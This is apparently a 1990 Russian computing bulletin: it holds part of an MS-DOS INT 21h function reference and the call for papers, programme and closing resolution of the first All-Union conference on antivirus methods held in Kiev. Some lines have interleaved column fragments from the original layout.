▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ AH=49 ▒▒▒▒▒▒▒ Освободить память При входе ES:0 указывает на начало освобождаемого блока памяти, выделенного операцией 48. Блок возвращается в пул динамической памяти операционной системы. ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ AH=4A ▒▒▒▒▒▒▒ Изменить длину блока памяти (Setblock) При входе ES:0 указывает на начало освобождаемого блока памяти, выделенного операцией 48. При входе в BX - новая (требуемая) длина блока памяти в параграфах. DOS пытается удлинить или укоротить указанный блок. Если увеличить блок до заданной длины невозможно, то в BX возвращается максимальный возможный размер для данного блока (в параграфах). ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ AH=4B ▒▒▒▒▒▒▒ Загрузить или выполнить программу (Exec) Эта операция позволяет одной программе загрузить другую и, если не указано иначе, начать ее выполнение. При входе DS:DX указывает на строку ASCIIZ, содержащую имя устройства, составное имя каталога (path) и имя файла, содержащего загружаемую задачу. ES:BX указывают на блок параметров для загрузчика, а AL содержит код подоперации: AL = 0 Загрузить и выполнить программу. Для загруженной программы создается PSP Программного сегмента (PSP) и в нем устанавличаваются соответствующие адреса реакции на завершение и на Ctrl-Break. Блок параметров: WORD сегментный адрес передаваемой среды. DWORD указатель на командную строку, помещаемую в PSP +80h DWORD указатель на FCB, помещаемый в PSP +5Ch DWORD указатель на FCB, помещаемый в PSP +6Ch AL = 3 Загрузить и не выполнять. Когда программа получает управление, ей выделяется вся имеющаяся у DOS память. До того, как загружать другую задачу, родительская задача должна освободить для нее память операцией 4A. Как правило, задача освобождает всю неиспользуемую ею память. Операция Exec обращается к загрузчику, являющемуся частью COMMAND.COM и располагающемуся в конце памяти. Если программа затерла загрузчик, то при выполнении этой операции он подзагружается, затирая последние 1536 байт ОЗУ. Если вся память выделена задаче операцией 48, то Exec выдаст ошибку. ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ AH=4C ▒▒▒▒▒▒▒ Завершение процесса При входе в AL - код возврата. Операция заканчивает выполнение текущего процесса и передает управление его родителю. При этом выдается указанный код возврата, который может анализироваться командами IF и ERRORLEVEL в командных файлах и операцией 4D в родительской задаче. Все файлы, открытые заканчивающейся задачей закрываются. ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ AH=56 ▒▒▒▒▒▒▒ Переименовать файл При входе DS:DX указывает на строку ASCIIZ, содержащую имя устройства, составное имя каталога (path) и имя файла, который необходимо переименовать. ES:DI указывает на строку ASCIIZ, содержащую новое составное имя файла. Если новое имя содержит имя устройства, оно должно совпадать с устройством в старом имени. Имена каталогов могут отличаться, что позволяет этой операцией не только переименовать файл, но и переместить его в другой каталог. ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ AH=57 ▒▒▒▒▒▒▒ Дата и время создания/модификации файла При входе AL содержит 00 или 01, BX содержит номер файла. Если AL=00, то в DX и CX возвращаются дата и время создания/модификации файла из каталога. Если AL=01, то в каталог заносятся дата и время создания/модификации файла из регистров DX и CX. Формат представления даты и времени описаны в Приложении 2. ***** КОНФЕРЕНЦИЯ ПО МЕТОДАМ И СРЕДСТВАМ ЗАЩИТЫ ОТ ВИРУСОВ **** C 14 по 17 ноября в Киеве на базе КИИГА состоится первая Всесоюзная конференция "Методы и средства защиты от компьютерных вирусов в операционной системе MS DOS". Ориентировочные темы секций, рамму: которые предполагается включить в прог- - классификация вирусов и методы анализа вирусоподобных программ, инструментальные средства вирусолога: разработка и использование средств дизассемблирования, трассировки и других методов анализа загрузочных модулей (руководитель секции Н.Н.Безруков); - вопросы конструирования, cравнительный анализ и перспективные методы усиления фагов (руководитель секции Д.Н.Лозинский); - вопросы конструирования детекторов, эвристические методы детектирования вирусов, организация входного контроля, конструирование ревизоров и алгоритмы самотестирования программ (руководитель секции Е.Касперский); - конструирование резидентных программ защиты, методы контроля "on the fly", нетрадиционные методы защиты от вирусов, незаражаемые и самоизлечивающиеся программы (руководитель секции А.Водяник); - методы и алгоритмы защиты от несанкционированного копирования коммерческого ПО (руководитель секции В.Герасимов); - меры воздействия и возможные санкции против разработчиков ространителей вирусов (общая дискуссия). и расп- Доклады и сообщения на конференцию принимаются до 30 сентября 1990 г. Тексты докладов и сообщений (2 экз. с экспертным заключением, оформленные в соответствии с ГОСТ, отпечатанные через 2 интервала) следует высылать по адресу 252058, Киев-58, пр. косм. Комарова 1, КИИГА, корп. 3, Авиацентр НТТМ, Оргкомитет конференции "Методы и средства защиты от компьютерных вирусов в операционной системе MS DOS". Максимальный объем 20К (8 страниц через два интервала). Предпочтение будет отдаваться докладам и сообщениям, основанным на реализованных программах. О принятии докладов авторам будет сообщено до 15 октября. Последние должны представить свое сообщение на дискете (формат MS WORD или ASCII-файл). Вопрос о форме публикации докладов еще не решен. Оргкомитетом будет предпринят максимум усилий по привлечению к участию в конференции лучших специалистов по данной тематике. В частности, авторы удачных антивирусных средств, распространявшихся через СОФТПАНОРАМУ, а также участники предыдущего конкурса будут приглашены оргкомитетом независимо от того, будет ими представлен доклад или нет. В рамках конференции будет проведен второй конкурс антивирусных программ, распространяемых бесплатно. Программы, представляемые на конкурс, должны быть переданы в оргкомитет не позднее 12 октября. Конкурс пройдет в трех классах программ: - фаги; - детекторы и ревизоры; - вакцины и фильтры. Для победителей мии: в каждом классе программ установлены следующие пре- - по классу фагов (включая самообучающиеся): I премия - 1500 руб., II - 900 руб., III - 600 руб. - по классу детекторов и ревизоров (включая резидентные, а также модули и заготовки на языках высокого уровня, обеспечивающие самотестирование на заражение): I премия - 1200 руб., II - 750 руб., III - 450 руб. - по классу вакцин и фильтров (включая самоизлечивающиеся оболочки): специализированные драйверы и I премия - 1200 руб., II - 750 руб., III - 450 руб. Жюри будет состоять из независимых специалистов, продолжительное время работающих в данной области, но не участвующих в конкурсе. Предпола- гается участие А.Сессы (Днепропетровск), И.Карасика (Москва) и других специалистов, включая авторов известных коммерческих программ (Д.Н.Лозинский, О.Котик, А.Водяник и др.). Помимо премий жюри будет также установлен ряд дополнительных премий. В частности, достигнуто соглашение с редакцией журнала ИНТЕРКОМПЬЮТЕР о специальной премии редакции. СП "Новые информационные технологии" установлена специальная премия, размером 1000 руб. Ведутся переговоры с рядом других редакций и организаций. Кроме того, на конференции планируется организовать демонстрацию коммерческого программного обеспечения для защиты от вирусов. Конференция организована Авиацентром НТТМ и пройдет на коммерческой основе. Стоимость регистрации участников составляет 100 рублей. Эта сумма включает пригласительный билет на одного участника, две дискеты с лучшими антивирусными программами (победителями конкурса, см. выше) и экземпляр изданной типографским способом монографии Н.Н.Безрукова "Компьютерная вирусология" в мягком лакированном переплете (версия 6.0, ориентировочный объем 25 п.л., бумага типографская No.1, из-во Украинская Советская Энциклопедия). Предполагается, что версия 6.0 станет базовой на 1991 год, а последующие исправления и дополнения будут оформляться в виде приложения к базовому тексту. При перечислении денег необходимо обязательно указывать "оплата участия в конференции". Регистрационные взносы следует перечислять на расчетный счет Авиацентра НТТМ: 000465602 в Жовтневом отд. Промстройбанка СССР г. Киева, МФО 322067. Копии платежного поручения следует высылать по приведенному выше адресу Авиацентра НТТМ, с указанием, нуждается ли участник в поселении или нет. Пригласительные билеты будут выдаваться непосредственно при открытии конференции представителям соответствующих организаций (фамилии которых указаны в копии платежного поручения). Поселение участников, перечисливших взносы после 15 октября 1990 г., не гарантируется. Справки и текст настоящего письма (файл на дискете) можно получить: Киев: Безруков Николай Николаевич, дом.тел.268-10-26 (председатель оргкомитета) Белоусов Анатолий Федорович, Авиацентр НТТМ, тел.484-94-63 (зам. председателя оргкомитета конференции) Камышин Владимир Викторович, тел.484-90-48 Москва: Лященко Юрий Павлович, тел.137-01-50, дом.тел.426-08-84 Министерство гражданской авиации Киевский институт инженеров гражданской авиации Авиацентр НТТМ ПРИГЛАСИТЕЛЬНЫЙ БИЛЕТ И ПРОГРАММА ПЕРВОЙ ВСЕСОЮЗНОЙ НАУЧНО-ТЕХНИЧЕСКОЙ КОНФЕРЕНЦИИ "Методы и средства защиты от компьютерных вирусов в операционной системе MS DOS" 14-17 ноября 1990 г. г.Киев Киев-КИИГА 1990 . - 2 Уважаемый товарищ ____________________________________________ Приглашаем Вас принять участие в работе конференции "Методы и средства защиты от компьютерных вирусов в операционной системе MS DOS". Если Ваш доклад или сообщение не включены в программу конференции, убедительно просим подготовить стендовое сообщение на стандартном листе ватмана с тем, чтобы участники конференции могли ознакомиться с Вашей разработкой или подходом. Конференция будет проходить в корп. 1 Киевского института инженеров гражданской авиации (проспект космонавта Комарова, 1). Заезд участников 13 ноября. Участников, не выславших в адрес Оргкомитета копию платежного поручения, просьба иметь при себе заверенную копию. 13 ноября регистрация и поселение с 10-00 до 23-00 в корп.3, ауд.3-302. Прибывших после 23-00 просим обращаться по тел. 484-80-16 к Ткаченко Галине Эросовне или 484-90-40 к Камышину Владимиру Викторовичу. 14 ноября регистрация участников с 9-00 до 10-00 в вестибюле корп.1. Не гарантируется поселение участников, с опозданием перечисливших регистрационный взнос (последние обязательно должны иметь на руках заверенную копию платежного поручения). Проезд: от аэропорта "Борисполь" - автобусом "Экспресс" до конечной остановки ("Площадь Победы"), затем трамваем 1 или 3 до остановки "Гарматная"; от аэропорта "Киев" - троллейбусом 9 до остановки "Севастопольская площадь", затем автобусом 69 до остановки "Гарматная"; от железнодорожного вокзала - трамваем 2 или 13 до ост. "Площадь Победы", затем трамваем 1 или 3 до остановки "Гарматная". Остановка "Гарматная" расположена прямо напротив корпусов КИИГА. Оргкомитет не гарантирует приобретение обратных билетов, поэтому рекомендуется приобрести их заблаговременно. Оргкомитет БЛАГОДАРНОСТИ Ряд организаций содействовал проведению конференции, оказав финансовую помощь Оргкомитету или установив специальные премии для участников конкурса. От имени Оргкомитета выражаю благодарность Сергею Григорьевичу Антимонову - директору Научного центра СП "Диалог" при ВЦ АН СССР, Григорию Евгеньевичу Попову - директору Киевского филиала СП "Новинтех", Геннадию Павловичу Тарасову - директору ЦНКБ ВT ГКВТИ CCCР, Анатолию Абовичу Эйдесу - руководителю издательского отдела СП "Интерюнити". Председатель Оргкомитета конференции . Н.Н. Безруков - 3 ОРГКОМИТЕТ КОНФЕРЕНЦИИ Председатель оргкомитета: Безруков Н.Н. Зам.председателя, зам.директора Авиацентра НТТМ: Белоусов А.Ф. Секретарь: Ткаченко Г.Э. Члены оргкомитета: Камышин В.В., Кучма Е.Е., Лященко Ю.П. Адрес оргкомитета: 252058 Киев-58, пр. Космонавта Комарова 1, КИИГА, корп. 3, Авиацентр НТТМ, тел.484-94-63 ЖЮРИ КОНКУРСА Председатель жюри: Безруков Н.Н. Секретарь: Литвинов Б.Ю. Члены жюри: Быков В.Л., Дрозд Ю.Ю., Кононенко А.В., Кохманюк Тарасов Г.П., Ткаченко В.О, Третьяков А.И. Д.Н., Тел. (044) 268-10-26 (дом) Безруков Николай Николаевич, (044) 441-92-60, (044) 413-89-74 (дом) Литвинов Борис Юрьевич ЖЮРИ СПЕЦИАЛЬНОЙ ПРЕМИИ КИЕВСКОГО ФИЛИАЛА СП НОВИНТЕХ Председатель жюри: Секретарь: Члены жюри: Безруков Н.Н. Конозенко В.И. Загоровский В.Г., Кохманюк Д.Н., Русаков А.Э. Тел. (044) 268-10-26 Безруков Николай Николаевич (044) 266-53-88 Конозенко Владимир Иванович ЖЮРИ СПЕЦИАЛЬНОЙ ПРЕМИИ ЖУРНАЛА ИНТЕРКОМПЬЮТЕР Председатель жюри: Секретарь: Члены жюри: Эйдес А.А. Карасик И.Ш. Безруков Н.Н., Литвинов Б.Ю., Ткаченко В.О. Тел. (095) 202-92-80 Эйдес Анатолий Абович (095) 202-92-80 Карасик Иосиф Шевелевич . - 4 Открытие конференции 14 ноября (10.30-13.00) Безруков Н.Н.(Киев). Актуальные проблемы компьютерной вирусологии (стелс-вирусы, файлово-бутовые вирусы, LAN-вирусы). Бончев В.(София). Развитие вирусологии в Болгарии (название ориентировочное и может быть уточнено). Лозинский Д.Н.(Москва). Aidstest: первые два года. Тарасов Г.П.(Киев, ЦНКБ ВТ ГКВТИ). Государственная программа в области защиты программного обеспечения от вирусов (название ориентировочное и может быть уточнено). Вечернее заседание 14 ноября (15.00-19.00) Секция 1: Общие проблемы компьютерной вирусологии. Классификация вирусов и методы анализа вирусоподобных программ, инструментальные средства вирусолога (рук. секции - Н.Н.Безруков) Водяник А.Г.(Мариуполь). граммного обеспечения. Волынский В.В.(Москва). программного обеспечения. Некоторые утилиты для анализа проИспользование Periscope для анализа Карасик И.Ш.(Москва). Вирусы как продукт естественной эволюции программного обеспечения. Кохманюк Д.С.(Киев). Опыт использования Quaid Analizer исследования программного обеспечения. для Свиридов И.А.(Киев). Роль BBS в борьбе с вирусами (на примере электронной конференции по вирусам FIDO). Селивоненко А.Б.(Полтава). Шпион 21 прерывания. Касперский Е.В.(Москва). Sourcer. Методика работы с дизассемблером Цал М.И.(Ленинград). Современный уровень написания вирусов и возможность создания универсального детектора и резидентных программ. . - 5 Утреннее заседание 15 ноября (10.00-13.00) Секция 2: Интегрированные антивирусные системы. Полифаги (рук. секции - Д.Н.Лозинский) Грязнов Д.О.(Переславль-Залесский). Shield. Антивирусная система PC Касперский Е.Н.(Москва). Полифаг -V. Котик О.Г.(Москва). Система Anti-Kot/Anti-Kor. Свиридов И.А.(Киев). Пакетный универсальный детектор-фаг для бутовых вирусов. Сербиненко А.В.(Донецк). ского интерфейса в полифагах. Сравнительный анализ пользователь- Сусликов Е.Н.(Кемерово). Незаражаемый высокоскоростной полифаг с самонастройкой на детектирование новых вирусов. Сысоев И.В.(Москва). Полифаг AV. Юдин Г.Т., среда Авиценна. Биллиг И.В.(Тверь). Интегрированная антивирусная Вечернее заседание 15 ноября (15.00-19.00) Секция 3: Вопросы конструирования детекторов, конструирование ревизоров, контроль целостности MS DOS (рук. секции - Е.В.Касперский) Ветров И.В.(Москва). Пакет программ "Ревизор". Герасимов В.В.(Москва). Новая версия ревизора DLI. Мостовой Д.Ю.(Москва). Некоторые аспекты реализации ревизо- ров. Рабец В.С.(Черноголовка). Детектор, интегрированный с Norton Commander. Румянцев М.И.(Донецк). Spirit - средство контроля целостности MS DOS. Суворов И.А.(Киев). Полидетектор с ускоренным поиском сигнатур и возможностью ввода данных из таблиц "Компьютерной вирусологии". Судленков Г.О.(Минск). Ревизор с возможностью нейтрализации файловых вирусов, дописывающихся в хвост файла. Шеховцов А.Л.(Киев). Полидетектор с диалоговым интерфейсом и возможностью ввода сигнатур для контекстного поиска. . - 6 Утреннее заседание 16 ноября (9.00 - 13.00) Секция 4: Конструирование резидентных программ защиты, методы контроля "on the fly" (рук. секции - А.Г.Водяник) Водяник А.Г.(Мариуполь). Intellectual Writе Protector - гибкое сочетание аппаратных и программных методов защиты. Двоеглазов И.М.(Киев). Резидентный сторож, контролирующий 21 прерывание. Касперский Е.Н.(Москва). Резидентные сторожа -D1, -D2, -D3. Катюшкин А.В.(Москва). возможностями. Резидентный монитор с расширенными Пономаренко В.В.(Киев). Резидентная поливакцина. Вечернее заседание 16 ноября (15.00 - 19.00) Секция 5. Нетрадиционные методы защиты от вирусов, незаражаемые и самоизлечивающиеся программы (рук. секции - Н.Н.Безруков) Бабанин В.М.(Тверь). Универсальная антивирусная вакцина файловых вирусов, имплантирующихся в конец файла. от Волынский В.В.(Москва). Вирус против вирусов. Сесса А.В.(Днепропетровск). Нейтрализация произвольных бутовых вирусов при загрузке ДОС. Сусликов Е.Н.(Кемерово). Эвристические вирусов в незаражаемом полидетекторе LD. методы поиска новых Рахимов А.Р., Турсунов О.О.(Газалкент). Антивирусная система Cerber. Фиалков А.В.(Москва). Универсальное вакцинирование программ от файловых вирусов присоединяемым детектором-защитником. Д и с к у с с и я: "Меры воздействия и возможные санкции против разработчиков и распространителей вирусов" . - 7 Утреннее заседание 17 ноября (10.00 - 12.00) Секция 6: Методы и алгоритмы защиты от несанкционированного копирования коммерческого ПО (рук. секции В.Герасимов) Даен И.Л., Маковенко А.Т.(Киев). Средства защиты от копирования данных, основанные на применении ключей. Герасимов В.В.(Москва). Классификация систем защиты от несанкционированного копирования и некоторые оценки сложности их вскрытия. Рик А.В.(Тверь). Метод комплексной средств на дискетах и винчестерах. защиты программных Закрытие конференции (12.00 - 14.00) Безруков Н.Н. Итоги конкурса антивирусных программ, пространяемых бесплатно. Награждение победителей. Принятие заключительных документов, дения следующей конференции. рас- определение даты прове- ЗАКЛЮЧИТЕЛЬНOE ОБРАЩЕНИЕ Первой Всесоюзной конференции "Методы и средства защиты от компьютерных вирусов в операционной системе MS DOS" Мы, представители различных республик и регионов, принявшие участие в конференции, считаем необходимым привлечь внимание общественности страны к проблеме компьютерных вирусов в СССР и отметить следующее: 1. Компьютерные вирусы, наряду с троянскими программами, являются опасными загрязнителями информационной среды. Поэтому борьбу с компьютерными вирусами следует рассматривать как часть экологического движения. Как и проблема загрязнения природы, проблема компьютерных вирусов уже вышла за рамки национальных границ. Локальное загрязнение какой-то территории (например, Софии) почти всегда превращается в национальную, а затем и в международную проблему. Транснациональное распространение вирусов наносит значительный экономический ущерб. 2. Проблема компьютерных вирусов носит долговременный характер. В настоящее время для MS DOS существует несколько сотен компьютерных вирусов и их число продолжает расти. Поэтому следует ожидать постепенного проникновения в СССР большого количества вирусов разных классов, включая стелс-вирусы. 3. В стране намечается "вирусный взрыв", аналогичный произошедшему в Болгарии. Нарастающими темпами происходит опасное вовлечение в деятельность по созданию вирусов студенческой молодежи в разных регионах страны. Без принятия комплекса мер противодействия "вирусный взрыв" может нанести значительный вред отечественным пользователям персональных компьютеров и экспорту отечественного программного обеспечения. Учитывая характер деятельности разработчиков компьютерных вирусов, конференция рекомендует использовать в литературе для обозначения этой категории компьютерных вандалов термин "техно-крыса", а также освещать их деятельность, как имеющую явную антисоциальную направленность. В целях информирования пользователей об основных приемах борьбы с компьютерными вирусами, конференция считает целесообразным издание монографии Н.Н.Безрукова "Компьютерная вирусология" массовым тиражом. 4. В связи с резким увеличением количества распространяющихся вирусов, первостепенное значение приобретает обмен информацией между пользователями и координация усилий между разработчиками антивирусных программ. Конференция отмечает роль Киевского семинара "Системное программирование" и выпускаемого семинаром электронного бюллетеня СОФТПАНОРАМА, как неформального центра обмена информацией по данной проблеме. Поскольку резкое увеличение количества компьютерных вирусов требует нового уровня координации между разработчиками антивирусных программ, конференция рекомендует руководителю семинара Н.Н.Безрукову продолжить работу по организации обмена информацией между разработчиками, координацию разработок антивирусных программ и специального инструментария для анализа вирусов. 5. Конференция отмечает, что низкий уровень развития телекоммуникаций в нашей стране является одним из факторов, способствующих распространению компьютерных вирусов и призывает отменить двойной тариф за передачу данных по междугородним телефонным линиям в ночное время и расширить продажу модемов, отменив на год пошлину за их ввоз в СССР. Конференция считает необходимым создание бесплатной BBS, ориентированной на распространение информации о новых вирусах и антивирусных программах для борьбы с ними и призывает государственные и кооперативные организации, а также фонды оказать содействие в решении проблемы ее организации. 6. В сложившейся ситуации защита от компьютерных вирусов должна быть многоуровневой, комплексной и включать хорошо отлаженную систему архивирования. Конференция обращает внимание пользователей на целесообразность налаживания сплошного входного контроля и исследования поступающего программного обеспечения. 7. Учитывая роль пиратских копий в распространении компьютерных вирусов, конференция призывает ускорить введение законов, обеспечивающих охрану авторских прав на программное обеспечение. 8. Конференция отмечает важность совершенствования действующего законодательства с целью обеспечения возможности привлечения к административной или уголовной ответственности разработчиков отечественных компьютерных вирусов. 9. Для предотвращения растрачивания государственных средств на дорогостоящие и неэффективные проекты, конференция призывает выделять финансирование по данной тематике только на конкурсной основе, в виде грантов проявившим себя исследователям и коллективам, субсидирования конкурсов антивирусных программ и BBS. 10. Признать целесообразным организацию в 1991 г. очередной конференции по данной проблеме. Создать подготовительный комитет конференции ANTIVIR-91 в составе Н.Н.Безрукова, Е.В.Касперского, Д.Н.Лозинского и Е.Н.Сусликова. Организовать совещание подготовительного комитета в феврале 1991 г., на котором определить дату и место проведения очередной конференции, а также опубликовать информационное сообщение в электронном бюллетене СОФТПАНОРАМА. 11. Учитывая установленные на конференции личные контакты, признать целесообразным налаживание связей с болгарскими и польскими вирусологами, систематический обмен информацией и специалистами по данной проблеме. Киев, 17 ноября 1990 г. Принято единогласно на заключительном заседании конференции